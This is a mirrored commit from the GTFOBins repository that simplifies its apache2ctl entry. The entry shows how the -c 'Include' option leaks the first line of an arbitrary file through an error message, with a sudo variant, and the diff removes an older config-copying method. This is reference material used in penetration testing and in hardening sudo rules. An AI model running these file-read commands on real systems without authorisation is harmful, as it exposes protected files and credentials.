mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
Simplify apache2ctl
This commit is contained in:
parent
2c9f0de8e5
commit
0190295ed2
@ -1,16 +1,12 @@
|
||||
---
|
||||
description: apache2ctl is a front end to the Apache HyperText Transfer Protocol (HTTP) server. It is designed to help the administrator control the functioning of the Apache apache2 daemon.
|
||||
description: This includes the file in the actual configuration file, the first line is leaked as an error message.
|
||||
functions:
|
||||
file-read:
|
||||
- code: cp -r /etc/apache2/ /tmp/apache2
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
|
||||
- code: apache2ctl -d /tmp/apache2 -k restart
|
||||
sudo:
|
||||
- code: cp -r /etc/apache2/ /tmp/apache2
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
echo "Include $LFILE" >> /tmp/apache2/apache2.conf
|
||||
- code: sudo apache2ctl -d /tmp/apache2 -k restart
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
apache2ctl -c "Include $LFILE" -k stop
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo apache2ctl -c "Include $LFILE" -k stop
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user